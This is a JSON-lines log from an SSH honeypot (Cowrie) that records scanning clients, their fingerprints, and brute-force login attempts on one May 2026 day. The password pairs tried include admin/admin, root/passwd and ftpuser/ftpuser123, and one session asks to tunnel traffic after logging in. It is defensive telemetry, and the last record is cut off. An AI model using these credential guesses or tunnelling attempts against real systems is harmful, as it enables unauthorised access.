{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:15:f9:f2:7d:b4:f1:13:77:0a:3b:e4:0a:a2:4c:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc8LnFba+1rtg+1pnbgqEobxMupMbFtUdUVqzDkbn7NOVDkR7WQda6zkgmlY4ZGN5IWEH+mQi30ESnjYGD5nC1x6i6jcIJReVJD5pgkBVCQ1cIJjSwS8ScMw7imClxkL+1cITGmaOU6A0Zyflce4URevs2AavU+s5CCmXkozFYKhatVEjj6wpgLeh1hBdweXKA2EfPnoPvMdqtQq/mFkwiK9/iFQPf4o9yRzOjNAezPlLQmbg63bE9GzNgrQjO+9jLJFNlLTYTheiZCWE800LhI0ZR0FdZOJBtdfC8Hye6btxdPQyIgoNsHHoxbS/tEtnhkMCZoTMmaphQjqHzzPmL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.798867Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:d0:72:d1:18:29:d8:ab:ab:c4:d5:f3:b9:cd:bb:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQhTZxEeADJYvdBR2iEUARIwM5PYy6KClxDdMsCzQZaGu2VQgHBYo2q0moOquvB+VXzTuwE8rW4+iuWSLyO6TOiAjL0aM8hWq9jXVIIVpbEsHExruTO0u045tnF1B0okjS1p5vjN+TNcwFcwi0xZmThoddCFZNOrVwBp/zbR1oBb15Qyi9ODmIjUhCdElu/6RzpUyTvH7Ee2IR07zhywh32SwMNNVAN6FxRGnrcFSjQpnhM0+7+T2EfxoxiZRJMK/Pl4La1Z3bO6OrLnbv/EFxAA6ZCusfwJcKAQFYoQ4CgX2JHrHeLwTubw6ZP1NAIOzqY4B2hHHkLCaCUXibAwD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:d0:72:d1:18:29:d8:ab:ab:c4:d5:f3:b9:cd:bb:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.909764Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:d0:72:d1:18:29:d8:ab:ab:c4:d5:f3:b9:cd:bb:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgQhTZxEeADJYvdBR2iEUARIwM5PYy6KClxDdMsCzQZaGu2VQgHBYo2q0moOquvB+VXzTuwE8rW4+iuWSLyO6TOiAjL0aM8hWq9jXVIIVpbEsHExruTO0u045tnF1B0okjS1p5vjN+TNcwFcwi0xZmThoddCFZNOrVwBp/zbR1oBb15Qyi9ODmIjUhCdElu/6RzpUyTvH7Ee2IR07zhywh32SwMNNVAN6FxRGnrcFSjQpnhM0+7+T2EfxoxiZRJMK/Pl4La1Z3bO6OrLnbv/EFxAA6ZCusfwJcKAQFYoQ4CgX2JHrHeLwTubw6ZP1NAIOzqY4B2hHHkLCaCUXibAwD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.913904Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:22:a5:8c:03:6a:4c:02:a6:62:46:18:4a:73:8f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9nNJdXG7TE72JvaScLxLAxENnMWjZf46kvWUg+kOu5FAdNJjmuZ/mizzJALLDuLLqtIrLAZoGMdXjMoxgxGF8yDY2f4y+ZJRxXFVp2UDNyNPO2AsYU+Y/oOK74d4Vl9wAcKcd95WB7mv7EO2E5a304sdXkRKqvT8gnZ9gyfYHDFtOQpSSdiY6gZVdL76dbD4lKFqwSfsTGeuMJ9YM6GeBexlkpXipKapr+S+2xny5sdqAww4+Yt33XF6YDl1qoRf2EEboZVrOjLZmodtxvyoviDuFFbnog0V7/4MJK14XPFV+BpBOY0QVFJPkqkIONchYKPrB+HS6LrMOEqCYcQmn45SOl8o5tOXn5g7Ze7rhh9ZztWr7PnztFKufWtW5jIQqRdygkMntcZ/mqIll8HlZR9+tHVoI7GyDv8O/Z5NxWY+exTJ0TdPzIXU0Wqr8V0ynet85XHxtrTOHWe6DotmUn+09bpT8pdJHZnNfCQV93nYHdEZYiTBmNr6/doqoU63rKxwANKwiAFT6f9Hk5utbjngQGDIj8O3iBaC6rEJXeAmBTGnZP1XnLCnJOJlxbY0rH3787fSt95lziFaMcvDFOMSAKhcypuXvuO+wad2hJ/k+/+SXfZQU6c3T9ToNkc7lW7OLU2lVAzspCJc7heXDBQw3wxEAAggZ5v83FUU6qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:22:a5:8c:03:6a:4c:02:a6:62:46:18:4a:73:8f:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:18.002705Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:22:a5:8c:03:6a:4c:02:a6:62:46:18:4a:73:8f:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9nNJdXG7TE72JvaScLxLAxENnMWjZf46kvWUg+kOu5FAdNJjmuZ/mizzJALLDuLLqtIrLAZoGMdXjMoxgxGF8yDY2f4y+ZJRxXFVp2UDNyNPO2AsYU+Y/oOK74d4Vl9wAcKcd95WB7mv7EO2E5a304sdXkRKqvT8gnZ9gyfYHDFtOQpSSdiY6gZVdL76dbD4lKFqwSfsTGeuMJ9YM6GeBexlkpXipKapr+S+2xny5sdqAww4+Yt33XF6YDl1qoRf2EEboZVrOjLZmodtxvyoviDuFFbnog0V7/4MJK14XPFV+BpBOY0QVFJPkqkIONchYKPrB+HS6LrMOEqCYcQmn45SOl8o5tOXn5g7Ze7rhh9ZztWr7PnztFKufWtW5jIQqRdygkMntcZ/mqIll8HlZR9+tHVoI7GyDv8O/Z5NxWY+exTJ0TdPzIXU0Wqr8V0ynet85XHxtrTOHWe6DotmUn+09bpT8pdJHZnNfCQV93nYHdEZYiTBmNr6/doqoU63rKxwANKwiAFT6f9Hk5utbjngQGDIj8O3iBaC6rEJXeAmBTGnZP1XnLCnJOJlxbY0rH3787fSt95lziFaMcvDFOMSAKhcypuXvuO+wad2hJ/k+/+SXfZQU6c3T9ToNkc7lW7OLU2lVAzspCJc7heXDBQw3wxEAAggZ5v83FUU6qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:18.006943Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:66:a3:84:01:87:cd:15:0b:6f:11:dd:66:9f:10:2c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKs0EUte6hLzaCkwpu0r0IgeTEft6Qa/8qsYaNMFmNV1jugT4LZ3/vF5CFsxxQyP/+uAnvk4fW4NUvcQmwybxOk9MAU+T2+rDrrgd8foAhdYpzpX/7YWpnjrQOYnPuAhFQgG7n74F9udQrKeDdlauZ8sIBn9K/5de3Db7Yp6n3vdAAAAFQCbhk2Kx53+R5rCkhDOuSfkqNUE4QAAAIAQvg6OVZqhfl09JPRrCYkq8nJgHbhqW8SCAKLCtJVYoHYBTn4WVGzFITnrLBXDkKrB1Rcqjzjm7ewN9mF/cQDrC9DzA8iQneVA7V/YdXjcBa7Y2jd2x0DSgF4aJforxlTodQ68GRpyXgLoLqqsZ+sniAlGk4KMAJGgqXe2CJpnTQAAAIAe2NpT4WNddEdaZsrHguJMm2SKJt9ZgGUPXojQx9lW5yo5tDv988rc4/ogAUBbbHvbUgugv3cVqGbHGikXGRViO1gCJda/AKBK0ZPOJyZnU8JWMsl6Ow+6Gl7Avt80FUWRlVAKPc2HHd3pa7ycSfQZ4+xEXyPN/c5ZM1Wr6RhAog==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 21:66:a3:84:01:87:cd:15:0b:6f:11:dd:66:9f:10:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:18.093566Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:66:a3:84:01:87:cd:15:0b:6f:11:dd:66:9f:10:2c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKs0EUte6hLzaCkwpu0r0IgeTEft6Qa/8qsYaNMFmNV1jugT4LZ3/vF5CFsxxQyP/+uAnvk4fW4NUvcQmwybxOk9MAU+T2+rDrrgd8foAhdYpzpX/7YWpnjrQOYnPuAhFQgG7n74F9udQrKeDdlauZ8sIBn9K/5de3Db7Yp6n3vdAAAAFQCbhk2Kx53+R5rCkhDOuSfkqNUE4QAAAIAQvg6OVZqhfl09JPRrCYkq8nJgHbhqW8SCAKLCtJVYoHYBTn4WVGzFITnrLBXDkKrB1Rcqjzjm7ewN9mF/cQDrC9DzA8iQneVA7V/YdXjcBa7Y2jd2x0DSgF4aJforxlTodQ68GRpyXgLoLqqsZ+sniAlGk4KMAJGgqXe2CJpnTQAAAIAe2NpT4WNddEdaZsrHguJMm2SKJt9ZgGUPXojQx9lW5yo5tDv988rc4/ogAUBbbHvbUgugv3cVqGbHGikXGRViO1gCJda/AKBK0ZPOJyZnU8JWMsl6Ow+6Gl7Avt80FUWRlVAKPc2HHd3pa7ycSfQZ4+xEXyPN/c5ZM1Wr6RhAog==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:18.097515Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:18.184908Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"359193965d11","protocol":"ssh","message":"New connection: 8.218.166.49:51424 (10.17.0.5:22) [session: 359193965d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:23.401678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:24.605843Z","src_ip":"8.218.166.49","session":"359193965d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:24.609497Z","src_ip":"8.218.166.49","session":"359193965d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:47.768914Z","src_ip":"8.218.166.49","session":"359193965d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.7","message":"Connection lost after 38.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:02.060016Z","src_ip":"8.218.166.49","session":"359193965d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:14.255398Z","src_ip":"8.218.166.49","session":"8b2c4bf33c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52440,"dst_ip":"10.17.0.5","dst_port":22,"session":"6623d689f500","protocol":"ssh","message":"New connection: 8.218.166.49:52440 (10.17.0.5:22) [session: 6623d689f500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:31.852313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:37.466460Z","src_ip":"8.218.166.49","session":"6623d689f500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:37.665745Z","src_ip":"8.218.166.49","session":"6623d689f500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:39.616021Z","src_ip":"8.218.166.49","session":"6623d689f500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:48.486572Z","src_ip":"8.218.166.49","session":"6623d689f500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45772,"dst_ip":"10.17.0.5","dst_port":22,"session":"d892b71539fe","protocol":"ssh","message":"New connection: 8.218.166.49:45772 (10.17.0.5:22) [session: d892b71539fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:36:55.755299Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab37edd377da","protocol":"ssh","message":"New connection: 8.218.166.49:51082 (10.17.0.5:22) [session: ab37edd377da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:04.545147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:04.550151Z","src_ip":"8.218.166.49","session":"ab37edd377da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:04.762052Z","src_ip":"8.218.166.49","session":"ab37edd377da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:05.448866Z","src_ip":"8.218.166.49","session":"ab37edd377da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:06.659841Z","src_ip":"8.218.166.49","session":"ab37edd377da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ee5ab0b4e4","protocol":"ssh","message":"New connection: 8.218.166.49:34148 (10.17.0.5:22) [session: a9ee5ab0b4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:14.204284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:14.209543Z","src_ip":"8.218.166.49","session":"a9ee5ab0b4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34164,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5a05e72d9da","protocol":"ssh","message":"New connection: 8.218.166.49:34164 (10.17.0.5:22) [session: b5a05e72d9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:20.100596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:20.106428Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc5502a7d52","protocol":"ssh","message":"New connection: 87.251.64.176:43572 (10.17.0.5:22) [session: ebc5502a7d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.331879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.336712Z","src_ip":"87.251.64.176","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.435422Z","src_ip":"87.251.64.176","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.731996Z","src_ip":"87.251.64.176","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.835518Z","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:24.942384Z","src_ip":"87.251.64.176","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:25.043622Z","src_ip":"87.251.64.176","session":"ebc5502a7d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"